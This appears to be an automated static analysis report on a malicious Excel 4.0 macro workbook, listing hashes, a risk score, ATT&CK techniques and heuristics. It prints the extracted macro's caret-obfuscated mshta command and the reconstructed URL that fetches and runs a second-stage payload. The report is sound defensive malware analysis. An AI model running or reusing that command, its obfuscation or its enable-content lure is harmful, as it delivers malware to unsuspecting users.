Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 a0faf4d6540bc299…

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: f920a925a9e391bd8ab40e8453a7ec8f SHA-1: 91c2c9a2c2530418231d511e1ff973fc807cf28b SHA-256: a0faf4d6540bc29962a981301ee1b51648fe7ec994fada9cba8a477929774484
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: User Execution: Malicious Link

The sample is an Excel 4.0 macro sheet (XLM) with an Auto_Open macro. The document body contains a lure to enable editing and content. The extracted macro defines a string 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html' and assigns it to the name 'lll'. This command likely downloads and executes a second-stage payload from the reconstructed URL http://0xc12a24f5/cc.html.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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